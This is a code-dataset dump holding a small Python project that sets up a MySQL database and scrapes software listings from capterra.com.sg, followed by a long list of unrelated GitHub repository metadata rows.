PRIMARY KEY (`id`)\"\n \") ENGINE=InnoDB\"\n )\n}\n\n\ndef create_database(cur, data_name):\n try:\n cur.execute(\n \"CREATE DATABASE {} DEFAULT CHARACTER SET 'utf8mb4'\".format(data_name))\n except mysql.connector.Error as ex:\n print(\"Failed creating database: {}\".format(ex))\n exit(1)\n\n\ntry:\n cnx = mysql.connector.connect(**config)\nexcept mysql.connector.Error as err:\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\n print(\"Something is wrong with your user name or password\")\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\n print(\"Database does not exist\")\n else:\n print(err)\nelse:\n cursor = cnx.cursor()\n try:\n cursor.execute(\"USE {}\".format(DB_NAME))\n print(\"Database {} exists and skip database creation.\".format(DB_NAME))\n except mysql.connector.Error as ex:\n print(\"Database {} does not exists.\".format(DB_NAME))\n if ex.errno == errorcode.ER_BAD_DB_ERROR:\n create_database(cursor, DB_NAME)\n print(\"Database {} created successfully.\".format(DB_NAME))\n cnx.database = DB_NAME\n else:\n print(ex)\n exit(1)\n\n for table_name in TABLES:\n table_description = TABLES[table_name]\n try:\n print(\"Creating table {}: \".format(table_name), end='')\n cursor.execute(table_description)\n except mysql.connector.Error as err:\n if err.errno == errorcode.ER_TABLE_EXISTS_ERROR:\n print(\"already exists.\")\n else:\n print(err.msg)\n else:\n print(\"OK\")\n\n cursor.close()\n cnx.close()\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7537993788719177,\n \"alphanum_fraction\": 0.7659574747085571,\n \"avg_line_length\": 41.956520080566406,\n \"blob_id\": \"7fd5cf431d76f1bf611ecb86bd673b6f1f559b93\",\n \"content_id\": \"d9acdd55319a34717d542e8b5fc91c9c2ad533d8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 987,\n \"license_type\": \"no_license\",\n \"max_line_length\": 120,\n \"num_lines\": 23,\n \"path\": \"/README.md\",\n \"repo_name\": \"winnerineast/capterra\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Capterra Clone\\nthis is project to create a clone database of capterra website.\\n\\n## How to use\\n\\n- The project can only run on Ubuntu. (we tested in Ubuntu 18.04)\\n- Install mySQL database.\\n- Install mysql-connector for python. \\n- Update username and password in create_database.py.\\n- Run create_database.py to setup empty database for capterra.\\n- Run main.py to synchronize the online website with local database.\\n- main.py has the following features:\\n * automatically detect the software categories by name of category\\n * automatically detect the software by name of software\\n * both category and software information will be overridden (!!!)\\n * No overridden for review data and only appending\\n \\n- (incoming) a local website to read local database\\n\\n## Work Daily\\n- 2021.07.17\\ncompleted create_database.py and simple webpage download and interpretation. now it's going to develop download webpage \\n and insert them into database (so far don't do existing data detection)\"\n },\n {\n \"alpha_fraction\": 0.5989025831222534,\n \"alphanum_fraction\": 0.6126200556755066,\n \"avg_line_length\": 35.089107513427734,\n \"blob_id\": \"b69da9455a98a6211e18918439723f4f81878d9c\",\n \"content_id\": \"113da616f0d3b1c2043e3110303f06df726af0f2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3645,\n \"license_type\": \"no_license\",\n \"max_line_length\": 153,\n \"num_lines\": 101,\n \"path\": \"/main.py\",\n \"repo_name\": \"winnerineast/capterra\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\nimport urllib3\\nfrom bs4 import BeautifulSoup\\nimport json\\nimport mysql.connector\\nfrom mysql.connector import errorcode\\n\\n\\nconfig = dict(user='root',\\n password='1',\\n host='127.0.0.1',\\n database='capterra',\\n raise_on_warnings=True,\\n use_pure=True)\\n\\n\\ndef start_requests(input_url):\\n r = requests.get(input_url)\\n return r.content\\n\\n\\ndef parse_directory(html_text):\\n soup = BeautifulSoup(html_text, 'html.parser')\\n movie_list = soup.find_all('a', class_='list-group-item')\\n\\n result_list = []\\n for item in movie_list:\\n software_type = {'title': item.text, 'url': item['href']}\\n result_list.append(software_type)\\n return result_list\\n\\n\\ndef get_redirect_url(previous_url):\\n headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'}\\n response = requests.get(previous_url, headers=headers)\\n soup = BeautifulSoup(response.text, 'html.parser')\\n redirect_url = soup.find('meta', attrs={'http-equiv': 'refresh'})\\n actual_url = redirect_url['content'].partition('=')[2]\\n try:\\n response = requests.get(actual_url, headers=headers)\\n except urllib3.exceptions.MaxRetryError as ex:\\n print(\\\"the website is down.\\\")\\n actual_url = str(ex).split('\\\\'')[1]\\n print(actual_url)\\n return actual_url\\n except requests.exceptions.SSLError as ex:\\n print(\\\"the website is not connected with SSL.\\\")\\n actual_url = str(ex).split('\\\\'')[1]\\n print(actual_url)\\n return actual_url\\n return response.url\\n\\n\\ndef parse_software(software_type, html_text):\\n soup = BeautifulSoup(html_text, 'html.parser')\\n item_list = soup.find_all('div', class_='card product-card mb-3 border-primary pt-2')\\n result_list = []\\n for item in item_list:\\n title = item.find(class_='evnt').string\\n print(title)\\n visit_url = item.find(class_='btn btn-preferred btn-sm text-truncate btn-block evnt')['href']\\n website = get_redirect_url('https://www.capterra.com.sg'+visit_url)\\n summary = item.find(class_='d-lg-none').get_text()\\n software_type = {'type': software_type, 'title': title, 'summary': summary, 'website': website}\\n result_list.append(software_type)\\n return result_list\\n\\n\\ndef get_page_number(html_text):\\n soup = BeautifulSoup(html_text, 'html.parser')\\n page_items = soup.find_all('li', class_='page-item')\\n if bool(page_items):\\n last_page = page_items[len(page_items) - 2].get_text()\\n return int(last_page)\\n return 1\\n\\n\\n# Press the green button in the gutter to run the script.\\nif __name__ == '__main__':\\n\\n with open('data.json', 'w', encoding='utf-8') as f:\\n url = 'https://www.capterra.com.sg/directory'\\n text = start_requests(url)\\n directory = parse_directory(text)\\n for current in directory:\\n # print(current['url'])\\n text = start_requests(current['url'])\\n nPage = get_page_number(text)\\n software_list = parse_software(current['title'], text)\\n json.dump(software_list, f, ensure_ascii=False, indent=4)\\n print(software_list)\\n\\n if 1 == nPage: continue\\n\\n for i in range(2, nPage + 1):\\n new_url = current['url'] + '?page=' + str(i)\\n print(new_url)\\n text = start_requests(new_url)\\n software_list = parse_software(current['title'], text)\\n json.dump(software_list, f, ensure_ascii=False, indent=4)\\n print(software_list)\\n\"\n },\n {\n \"alpha_fraction\": 0.5633803009986877,\n \"alphanum_fraction\": 0.5744194984436035,\n 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ENGINE=InnoDB\\\"),\\n 'softwares': (\\n \\\"CREATE TABLE `softwares` (\\\"\\n \\\" `id` int NOT NULL AUTO_INCREMENT,\\\"\\n \\\" `name` varchar(100) NOT NULL,\\\"\\n \\\" `rating` tinyint NOT NULL,\\\"\\n \\\" `summary` varchar(5000) NOT NULL,\\\"\\n \\\" `features` json NOT NULL,\\\"\\n \\\" `website` varchar(1000) NOT NULL,\\\"\\n \\\" `about` json NOT NULL,\\\"\\n \\\" `pricing` json NOT NULL,\\\"\\n \\\" `deployment` json NOT NULL,\\\"\\n \\\" `alternative` json NOT NULL,\\\"\\n \\\" `reviews` json NOT NULL,\\\"\\n \\\" PRIMARY KEY (`id`)\\\"\\n \\\") ENGINE=InnoDB\\\"\\n )\\n}\\n\\n\\ndef create_database(cur, data_name):\\n try:\\n cur.execute(\\n \\\"CREATE DATABASE {} DEFAULT CHARACTER SET 'utf8mb4'\\\".format(data_name))\\n except mysql.connector.Error as ex:\\n print(\\\"Failed creating database: {}\\\".format(ex))\\n exit(1)\\n\\n\\ntry:\\n cnx = mysql.connector.connect(**config)\\nexcept mysql.connector.Error as err:\\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\\n print(\\\"Something is wrong with your user name or password\\\")\\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\\n print(\\\"Database does not exist\\\")\\n else:\\n print(err)\\nelse:\\n cursor = cnx.cursor()\\n try:\\n cursor.execute(\\\"USE {}\\\".format(DB_NAME))\\n print(\\\"Database {} exists and skip database creation.\\\".format(DB_NAME))\\n except mysql.connector.Error as ex:\\n print(\\\"Database {} does not exists.\\\".format(DB_NAME))\\n if ex.errno == errorcode.ER_BAD_DB_ERROR:\\n create_database(cursor, DB_NAME)\\n print(\\\"Database {} created successfully.\\\".format(DB_NAME))\\n cnx.database = DB_NAME\\n else:\\n print(ex)\\n exit(1)\\n\\n for table_name in TABLES:\\n table_description = TABLES[table_name]\\n try:\\n print(\\\"Creating table {}: \\\".format(table_name), end='')\\n cursor.execute(table_description)\\n except mysql.connector.Error as err:\\n if err.errno == errorcode.ER_TABLE_EXISTS_ERROR:\\n print(\\\"already exists.\\\")\\n else:\\n print(err.msg)\\n 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datalad/datalad | https://github.com/datalad/datalad | 2d9c247344d340325ba84e7ab674ac320e57f30c | 40332b5ad25bf8744f7399f6c3575f7d28f71384 | 76f23cc69dc10c44bc7cf00b78e37db04c7a9c45 | refs/heads/maint | 2023-09-04T11:03:02.264714 | 2023-08-10T15:56:19 | 2023-08-10T15:56:19 | 14,052,034 | 453 | 134 | NOASSERTION | 2013-11-01T19:40:08 | 2023-09-06T23:55:10 | 2023-09-14T19:10:17 | Python | [
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jim-bo/scafathon | https://github.com/jim-bo/scafathon | 313b35b1d36ec5623f931f9e74f34745f428e040 | 9e5e059ee9ae74a2d16dc8b9356cf6e2bb8472fe | 6a33f68ca49d7c3ff95aadabd2b9fb7980fd950a | refs/heads/master | 2021-01-01T16:25:00.712869 | 2014-02-25T17:33:59 | 2014-02-25T17:33:59 | null | 0 | 0 | null | null | null | null | null | [
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BlackCyn/IshmuratovDaniilVTIP2 | https://github.com/BlackCyn/IshmuratovDaniilVTIP2 | f7d237be831eb04edbd2aff9b4768d42de7f2cbb | e7cc19f8ad1290ce18e1eab959f8bc96ec794c5a | fb27a87d3666efc19b484a9b300f6df8b2c96527 | refs/heads/main | 2023-01-10T09:59:35.243515 | 2020-11-15T05:48:46 | 2020-11-15T05:48:46 | 312,966,508 | 0 | 0 | null | null | null | null | null | [
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smitthakkar96/Punchit.io_website_master | https://github.com/smitthakkar96/Punchit.io_website_master | 94f38b11e93739fc48c9f511fd128530af1f6eba | 008dae83b389b5a09b30f882df9ef52d4017be16 | d4a619b5f11fcfd48d0e73dfc4556476f8c6ba09 | refs/heads/master | 2023-01-05T16:48:02.772822 | 2016-03-05T05:08:49 | 2016-03-05T05:08:49 | 50,392,439 | 1 | 1 | null | 2016-01-26T00:58:00 | 2016-01-30T03:26:11 | 2022-12-26T20:00:23 | JavaScript | [
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clearskky/Scopus_Scrape | https://github.com/clearskky/Scopus_Scrape | 2fdf0b8e8e650b749c05ef45ff6aa4a16014e6be | f0af9110c6b18a665de6f3a961d36a2d9973e10c | 8914855d0900f44001c6115410a12d464e6e77a4 | refs/heads/master | 2021-01-26T14:33:56.923301 | 2020-02-27T06:41:00 | 2020-02-27T06:41:00 | 243,449,516 | 0 | 0 | null | null | null | null | null | [
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tkys/fasttext_text_classifier | https://github.com/tkys/fasttext_text_classifier | 38bcb9775f548cb634c5e26d0010bb3b737139fa | face711911dc0528c1d2959c3339847ea3dcba9e | 50a11bdb92a2f74bf8ac69bfb01d6149275a8748 | refs/heads/master | 2020-08-08T12:20:18.556333 | 2019-10-09T11:25:04 | 2019-10-09T11:25:04 | 213,830,846 | 0 | 0 | null | null | null | null | null | [
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Terairk/WEconnect | https://github.com/Terairk/WEconnect | 175f5fca3073b31d0011edf77bd46ef41b12f393 | 4bbadc6cdbd9b2b477ecb742c98bf98abefcd0c5 | 56ff0a3909ed366afd4891d59fa23b432858118d | refs/heads/master | 2022-12-12T23:50:29.333522 | 2020-09-19T00:32:48 | 2020-09-19T00:32:48 | 296,277,259 | 0 | 1 | null | null | null | null | null | [
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MoMiJ1/Fungus | https://github.com/MoMiJ1/Fungus | 34a1bfd7038da87a722bc155f7453656e1fc3168 | e280984f84557c7ac48dd1bbcd848f08bb6d50f3 | 6966c91325bfdccbe3626368e53eea2e4e4edc63 | refs/heads/master | 2021-07-02T15:11:51.131692 | 2021-06-22T11:43:14 | 2021-06-22T11:43:14 | 237,172,413 | 0 | 0 | null | null | null | null | null | [
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abhishek11cse134/djangorestcrud | https://github.com/abhishek11cse134/djangorestcrud | 6a5cadeb5ca90f634daeeef07945bd6d169629b6 | c69ce5d0d2eb878ba4b28e6e5f154d1dc9dcb297 | fe0e292ee5d2e9f47ecaa8eb42f0f7081b3f3a0d | refs/heads/master | 2020-06-29T08:36:02.913498 | 2019-03-05T12:12:27 | 2019-03-05T12:12:27 | 200,488,376 | 0 | 0 | null | null | null | null | null | [
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Chace0219/RPI-Teensy-Weather-Monitor | https://github.com/Chace0219/RPI-Teensy-Weather-Monitor | 099b982b2c9b28370d40ac4db7c3897b473a5914 | 8a1f5d98f46164b6eb9145db6a9e656e68ff0e3f | 897208c562dfb8cb20e8cfa7bd6bbc06eef49acd | refs/heads/master | 2020-03-08T16:36:12.309575 | 2018-04-06T21:33:19 | 2018-04-06T21:33:19 | 128,243,949 | 1 | 0 | null | null | null | null | null | [
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seepls/algorithmic-trading | https://github.com/seepls/algorithmic-trading | ad40c7cf5476f1c6b616a5826c83f9c9e401ee83 | fec2731ba1c86bd1a88125c50ef8596135cf413a | 82020a1f1bd9730489a3fd0d8cd6a452f26b30b8 | refs/heads/master | 2020-08-18T10:27:52.130206 | 2019-10-17T12:08:33 | 2019-10-17T12:08:33 | 215,779,451 | 1 | 0 | null | 2019-10-17T11:48:38 | 2019-10-16T14:14:48 | 2014-05-09T04:01:56 | null | [
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Caleb-Grode/bluewhale | https://github.com/Caleb-Grode/bluewhale | 6b2486ca26d68f585c4ed600fedf5954a6282dc7 | a7c121ec6b6ae8039c434598e5dcc02ce4688792 | 6d378d288be1fe28c1e914cc692bc9477e04bac6 | refs/heads/main | 2023-06-29T03:58:40.194698 | 2021-08-06T22:00:43 | 2021-08-06T22:00:43 | 383,904,684 | 0 | 0 | null | null | null | null | null | [
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IVLIVSCAESAR44/KMeansClustering | https://github.com/IVLIVSCAESAR44/KMeansClustering | e0fc1e7124ba8037917f0b4d01b3616eec16a138 | 540b954363ddfdf7dcf492e460755b91dbbab494 | 0045dc8ab8c02341fb34cdf340ebb7ea41c071bd | refs/heads/main | 2023-07-16T22:19:23.431049 | 2021-08-24T21:04:32 | 2021-08-24T21:04:32 | 399,601,456 | 0 | 0 | null | null | null | null | null | [
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legendaryCJT/Learining | https://github.com/legendaryCJT/Learining | 39699e01501c1b48fa424722c0073328b813b9c5 | 73c52e7330cc065c33617675bdeb513ac7c80279 | 7b181a9718123d7ede8f81923dd684871e7c2772 | refs/heads/master | 2020-09-28T14:07:54.834316 | 2019-12-09T05:53:09 | 2019-12-09T05:53:09 | 226,793,908 | 0 | 0 | null | null | null | null | null | [
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subeeshb/mockproxy | https://github.com/subeeshb/mockproxy | 6f10e3277c79d39c435a24b48bd70281907821d5 | a822c2984618a331bf0adacbdc0e6576fbb10305 | 4d23877d044996939ec0e18400b0b89fd6f00ed0 | refs/heads/master | 2020-04-12T17:57:36.312711 | 2013-11-29T02:06:17 | 2013-11-29T02:06:17 | 14,771,599 | 1 | 0 | null | null | null | null | null | [
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mayankpoddar/TestHomeAutomation | https://github.com/mayankpoddar/TestHomeAutomation | 66d78c09e93ea7d227933f023e879544c4dbddcc | 9cd3504d0e78e6342f4406a2399992bcdec6a674 | 19d1bf08f0d33545fb3cd15c6f64a9d30fd785b6 | refs/heads/master | 2020-05-21T02:16:36.840329 | 2019-05-09T22:07:29 | 2019-05-09T22:07:29 | 185,873,365 | 0 | 0 | null | null | null | null | null | [
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mmscibor/AdBlocker | https://github.com/mmscibor/AdBlocker | 9695c57b576b7deb9c9122f8650013846ff8ec82 | c0acbe807abda45ee08896e8f55de3cbaae68630 | 801640298e503453d0682625870868c3e8685718 | refs/heads/master | 2021-01-10T20:13:08.246966 | 2014-03-28T20:21:58 | 2014-03-28T20:21:58 | 17,447,583 | 1 | 0 | null | null | null | null | null | [
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airmonitor/fastlogging | https://github.com/airmonitor/fastlogging | 1a599f2a309f291fc411592332f400c0ba9850bf | 8e07e6e6edb765767009c0823fbd3599101a99af | f40986e2c16a10534c91764d772cc7075f9e2176 | refs/heads/master | 2021-05-19T03:20:54.746028 | 2019-12-07T06:13:04 | 2019-12-07T06:13:04 | null | 0 | 0 | null | null | null | null | null | [
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lcaparros/be-python-cucumber-template | https://github.com/lcaparros/be-python-cucumber-template | b09261a70d9c8d5279b8cdf252c8a9d914a5b87b | e89648ede73a004b269c8687936df9ec6d68ae4c | 4e058749c5b21daf1523ffa8652937b1f2e1b9aa | refs/heads/main | 2023-04-20T09:20:52.341668 | 2021-04-20T08:04:06 | 2021-04-20T08:04:06 | 359,493,957 | 0 | 0 | null | null | null | null | null | [
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endjack/cbv | https://github.com/endjack/cbv | f2159302e896cc0f7c2aa64f6d302e3bec5989fd | 2e42fa2313bf3301d20ae2a530660820d1171dff | bedcf6fc9b742a78c01e44b62d763d1e521570ab | refs/heads/master | 2023-05-07T20:57:11.122373 | 2021-06-02T00:03:22 | 2021-06-02T00:03:22 | 372,990,821 | 0 | 0 | null | null | null | null | null | [
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lilyinstarlight/log.py | https://github.com/lilyinstarlight/log.py | 33a069321173a9e2c5ae95d18bc75ef1eb9c86f0 | 3e1ccf725f7aabb113037eb920fb504058105bcb | 0e3eddba5ca89368f7dd1a790ee6baff60d38ac8 | refs/heads/master | 2021-06-06T06:30:35.083213 | 2016-07-22T03:04:40 | 2016-07-22T03:04:40 | null | 0 | 0 | null | null | null | null | null | [
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msmenezesbr84/nutanix_Personal_mm | https://github.com/msmenezesbr84/nutanix_Personal_mm | 543a1a8470ea414b113074b084445356aeee3d02 | 2e4223b3d9f802619dab2ac558471462a589b8c1 | eea2c99c79e1e91e09d054e8578ef833ca288a59 | refs/heads/master | 2022-12-01T18:58:16.108308 | 2020-08-07T02:39:02 | 2020-08-07T02:39:02 | 285,717,969 | 0 | 0 | null | null | null | null | null | [
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wsv587/Data-Structure-and-Algorithms | https://github.com/wsv587/Data-Structure-and-Algorithms | d6f028874d925930b73eb856b5fd8359d4244920 | c9eeccf3e5271cb053d74dcf5e552611ed19f632 | 4fb87c66f4ab6d04393919cc1b7e0f517577292d | refs/heads/master | 2021-07-02T06:27:01.940337 | 2020-10-12T01:55:22 | 2020-10-12T01:55:22 | 181,307,893 | 0 | 0 | null | null | null | null | null | [
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UTA-HEP-Computing/DLTool | https://github.com/UTA-HEP-Computing/DLTool | 90a6c92d14045efaf5bc449a3fb4c248677d53d4 | b6510df248d068ca394be8242361bb1d154284bd | d35ed20f3c7c8323dd5066060a5f9f022fbc6e45 | refs/heads/master | 2020-06-16T10:03:02.709563 | 2016-11-30T00:30:08 | 2016-11-30T00:30:08 | 75,117,064 | 0 | 0 | null | null | null | null | null | [
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MrSkl1f/CA | https://github.com/MrSkl1f/CA | 8af3750014971caffbd9fd51b9952073175186a7 | 27fd28a65499e7792881f980de04f34797f24326 | d611ecb60c73ed61ec26ba943b0040076a0bb18f | refs/heads/master | 2022-08-20T12:19:34.270532 | 2020-05-23T14:42:45 | 2020-05-23T14:42:45 | 263,736,493 | 0 | 0 | null | null | null | null | null | [
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utkarshrai/AskRai | https://github.com/utkarshrai/AskRai | d7e7d441c292cfe0e8d26d5bda0a4940610a91f0 | 0194c24c28153ad21cbcd76f5b82f03f409a80ec | d03b8f5a1085ec779a5fceeec4db6888aa83d908 | refs/heads/master | 2020-12-31T00:29:46.922898 | 2017-11-05T07:57:31 | 2017-11-05T07:57:31 | 85,419,215 | 0 | 0 | null | null | null | null | null | [
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meownoid/add-and-reverse | https://github.com/meownoid/add-and-reverse | 01a4a5c96f6225627cb60ffdcde4a7dee12412ab | cdeb81c14aed07e0086ab56857a03150212e2f5a | 42969c057fba7db4d7376c58f790711d2e898064 | refs/heads/master | 2022-12-02T12:08:13.276127 | 2022-11-21T21:20:12 | 2022-11-21T21:20:12 | 188,548,616 | 0 | 0 | null | null | null | null | null | [
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yeeun0507/likelion_python | https://github.com/yeeun0507/likelion_python | 938e89c1fc73be824ede103e12862f8d13734f74 | 75a571148990d5892e022810f31ec179c1149f07 | da97746f4d16d1c52a4bf82568c79be4a4dcbcf4 | refs/heads/master | 2022-08-07T22:44:52.295190 | 2020-05-16T16:24:49 | 2020-05-16T16:24:49 | 264,408,163 | 0 | 0 | null | null | null | null | null | [
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SudhanshuVijay/music-player-using-python | https://github.com/SudhanshuVijay/music-player-using-python | 6b95ba2a42528d4246eb3a6e52ead1e4bd669691 | e691747390b519e457a8f13318e7e401ad192866 | 7386e79e5d70af48407c0ae56cee49722743132c | refs/heads/master | 2022-12-25T20:41:05.487435 | 2020-10-01T07:07:55 | 2020-10-01T07:07:55 | 300,167,035 | 1 | 2 | null | 2020-10-01T06:12:31 | 2020-10-01T06:57:50 | 2020-10-01T07:07:55 | Python | [
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dsitum/mKino | https://github.com/dsitum/mKino | 656a8ae731f135812652b8387acf491e64de6498 | c3949ccec32acb8de02c304650e172e31856b4a3 | aa931c8defd510b09bfc6b2bb66d1f6d5bd59b0e | refs/heads/master | 2021-01-10T20:14:04.890411 | 2015-02-08T23:54:11 | 2015-02-08T23:54:11 | 30,510,699 | 0 | 0 | null | null | null | null | null | [
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sailormoon/flags | https://github.com/sailormoon/flags | 789c0eb33d940569fda4c7fdd6b413674b90d9f0 | 45fa9e968eb21328b2e60be384f2b1e2b3af0af4 | c1d201e5c7d4090342c9cf16c627d3ac04c8cb86 | refs/heads/master | 2023-08-17T14:27:14.839138 | 2023-08-17T09:22:03 | 2023-08-17T09:22:03 | 73,530,193 | 252 | 25 | Unlicense | 2016-11-12T03:53:52 | 2023-08-09T15:37:36 | 2023-09-10T21:13:39 | C++ | [
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Hororohoruru/Python-mail-database | https://github.com/Hororohoruru/Python-mail-database | 74f617e5a761fc68bf629e816fa9ca3b926acd26 | 7c8f0fa6be8b89ade9724588ba73eef80a88df6b | c8cd0944863da526f2729f258c49199418fdb586 | refs/heads/master | 2021-04-30T08:33:59.908815 | 2018-02-13T12:23:26 | 2018-02-13T12:23:26 | 121,379,110 | 0 | 0 | null | null | null | null | null | [
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wsnijder/PycharmProjects | https://github.com/wsnijder/PycharmProjects | 7596b0029c2065a23144c8f71bf57af1a2bec74c | 48633c2b00aea1db669076dba4a15ca3fcdd52e6 | 3cb8fe6846c592939c52ae056212fb70cf9f03e9 | refs/heads/master | 2023-01-10T13:44:15.913635 | 2020-11-06T20:26:11 | 2020-11-06T20:26:11 | 299,880,729 | 0 | 0 | null | null | null | null | null | [
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DishantNaik/GitTutProj | https://github.com/DishantNaik/GitTutProj | 047cf2b8032b72ff7055cb8bd029a05342843255 | ea35bad388a31d2585f8805f2c5123f3d97a8382 | 0c26dc9209ab0787586ce6d852d6240a058703a4 | refs/heads/master | 2022-07-10T17:10:22.771180 | 2020-05-08T22:22:36 | 2020-05-08T22:22:36 | 262,438,700 | 1 | 0 | null | null | null | null | null | [
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benja971/SpaceWar | https://github.com/benja971/SpaceWar | 3e61cf1d7906cfbae6de4c3bf0dec68863109bb8 | 710589df21c1254e24a65517d08fb38857c178b1 | 7a89f03854c13d96c266f0dcdfa27e95d1e0fbef | refs/heads/master | 2021-05-21T01:50:57.819964 | 2020-04-02T22:23:53 | 2020-04-02T22:23:53 | 252,493,416 | 0 | 0 | null | null | null | null | null | [
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cludlow1/wsbDD | https://github.com/cludlow1/wsbDD | 15c3673ecb8d91e85f7db1e601c9c5ff73182416 | abf61fb12040b4c09d6fe1d4f230c94f0fd59fdd | 6b33ed8ceacda468a668c818bc87104cc11827cf | refs/heads/main | 2023-02-22T21:03:31.704547 | 2021-02-01T02:33:41 | 2021-02-01T02:33:41 | 324,068,775 | 2 | 0 | null | null | null | null | null | [
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rishabh-vasudevan/vinnovate-task | https://github.com/rishabh-vasudevan/vinnovate-task | 451db5bc751f67dd5a7d08a858272e3377c1c572 | d6accb6445d91c728279a444de4fea27d7076d25 | cfcee8f3518e8df47d61e22aa01fe4a8efc00509 | refs/heads/master | 2022-11-20T11:19:05.727997 | 2020-07-24T11:39:38 | 2020-07-24T11:39:38 | 282,273,558 | 0 | 0 | null | null | null | null | null | [
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GetRobbed/LazyVision2019 | https://github.com/GetRobbed/LazyVision2019 | df869fe3f657a838f209aacfa91579f595c15b33 | 2a10d0bd0a114000ecd529a8c257600cb3fa8e95 | 1a4571b738d0e3ad1036b0c27a3e5b4925dfa8b1 | refs/heads/master | 2020-04-21T21:27:36.893547 | 2019-02-09T15:17:59 | 2019-02-09T15:17:59 | 169,879,541 | 0 | 0 | null | null | null | null | null | [
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Jereck/Character | https://github.com/Jereck/Character | b1d545bebf2b523273f330cbde1979e8bc72bf06 | e1152f3c08c9dcfc970f2b04808827e57b64d122 | 1e64ba17b41aff64be809902a1b9363a97b759fc | refs/heads/master | 2021-01-01T19:52:40.124581 | 2017-07-29T03:32:43 | 2017-07-29T03:32:43 | 98,705,747 | 0 | 0 | null | null | null | null | null | [
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harrego/csgocat | https://github.com/harrego/csgocat | 0cef7b6ae29c89e2405df02774dd0b122386008f | a64fb0eef685b32467dd33421201f4212a44967c | ddddb5f63efab3582b473070cab9154af60f92f5 | refs/heads/master | 2022-11-29T07:58:47.424098 | 2020-08-11T21:28:40 | 2020-08-11T21:28:40 | 286,847,118 | 1 | 0 | null | null | null | null | null | [
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jocelyneterrazas/ChickenDinner | https://github.com/jocelyneterrazas/ChickenDinner | b39d596f1502417894e55eb93c354a083ba304c9 | 0df33d4957130dd0cf168fa558f26f4b568f91be | 799a572e8e181f28e1114afcc66920cc60ae6166 | refs/heads/master | 2020-03-21T16:49:18.000734 | 2018-06-26T21:31:05 | 2018-06-26T21:31:05 | 138,795,341 | 0 | 0 | null | null | null | null | null | [
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jxw666/computationalphysics_N2015301020090 | https://github.com/jxw666/computationalphysics_N2015301020090 | 98c906b7d7dbbf240e4c19545d8c59aa48504b60 | c3ca4fd8318b4681401ea3c91111319d103e65fd | 9a791ad44b3097dccba973c40b3547f25ffa3837 | refs/heads/master | 2021-05-15T00:29:41.950601 | 2018-03-09T11:46:20 | 2018-03-09T11:46:20 | 103,151,213 | 0 | 0 | null | null | null | null | null | [
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NeilZP/Flask-UI5 | https://github.com/NeilZP/Flask-UI5 | ca9e078bc32824e0ef0b21dae2f70ea50e3a72fc | dfced03405c93ae09316a3b60d078f7d0802510d | 9f21da73265e0aa6063e0156c34c03dddf155028 | refs/heads/master | 2021-01-22T07:27:38.729411 | 2017-02-13T15:25:52 | 2017-02-13T15:25:52 | 81,823,897 | 0 | 0 | null | null | null | null | null | [
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MD2Korg/Cerebral-Cortex-Data-Analysis-Tools | https://github.com/MD2Korg/Cerebral-Cortex-Data-Analysis-Tools | fd9b64a5ce3b63a66ae876b4dd00f0d3ed0f7e15 | 26813a63ceac645ab9f240bb1ec7aad4c847690a | a98a23fa4d12e8bc4cd7778d94b98f3eced35bc3 | refs/heads/master | 2021-01-22T19:42:44.923684 | 2018-07-27T18:58:18 | 2018-07-27T18:58:18 | 85,234,626 | 0 | 0 | null | null | null | null | null | [
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tech-and-me/speech_recognition | https://github.com/tech-and-me/speech_recognition | 7539a0e57de305ebe75e2505a6410599c22b361f | b1a500682e7cafa97322f18b2de4f4e61effde79 | a3f69963f067fb5d6e4d51489efe2eae635d5b04 | refs/heads/main | 2023-01-05T03:09:14.464497 | 2020-11-08T08:44:20 | 2020-11-08T08:44:20 | null | 0 | 0 | null | null | null | null | null | [
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morgatron/spcpt-analysis | https://github.com/morgatron/spcpt-analysis | b3405d9ab05de45371ae2f436269996a5b0e4af6 | 432708cf2b6104fb6fa2e9eb83aff3033db4ff01 | 0705ac9a8272929a7aa68878b87b6c2cf48e7c05 | refs/heads/master | 2016-09-03T07:30:56.797985 | 2015-01-31T18:32:59 | 2015-01-31T18:32:59 | 30,121,467 | 0 | 0 | null | null | null | null | null | [
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herougo/QuestionBank | https://github.com/herougo/QuestionBank | 43a1be58349064060847a425a263713acac16ad5 | 70f145a2d939f57fc2d0d4251c8ed14557329fed | 0f02479063a1964892d6bd697e5194c51436d326 | refs/heads/master | 2021-01-25T07:27:44.379957 | 2014-12-19T17:37:00 | 2014-12-19T17:37:00 | 28,192,056 | 1 | 3 | null | 2014-12-18T16:43:11 | 2014-12-18T16:43:11 | 2014-12-19T17:35:03 | null | [
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Altahoma/python-learn | https://github.com/Altahoma/python-learn | 340246ffd63f2c9f51b55b5535d321c1a1513437 | 0d3677f0a11de8428baa2b83746d2fc3437c2c6a | 001b29a1c92cae4875ae128194d9177608ff73a9 | refs/heads/master | 2020-05-19T20:29:07.516655 | 2019-05-12T12:13:53 | 2019-05-12T12:13:53 | 185,202,286 | 0 | 0 | null | null | null | null | null | [
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ransaked1/MazeMaker | https://github.com/ransaked1/MazeMaker | bb33f7a539f8679677dff3cb431b11061af7b62c | 69ffb3fd273e38764f59f1d5d41a14fbec396d4c | 625dde4dff604eeff3bf5656009bf78e9226af28 | refs/heads/master | 2022-05-28T04:42:06.540898 | 2020-05-02T10:54:26 | 2020-05-02T10:54:26 | 260,662,797 | 0 | 0 | null | null | null | null | null | [
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saludes/2010flood | https://github.com/saludes/2010flood | 6e3bd5aa7e869fee061023845f7a0baf48843fe9 | 03ded64517e013c63307836d99e7b22e4bc3394d | bf08e2b8198b0851ce3e482496ac012283edf8a9 | refs/heads/master | 2016-09-05T23:21:39.019264 | 2011-09-14T09:38:37 | 2011-09-14T09:38:37 | 1,765,342 | 0 | 0 | null | null | null | null | null | [
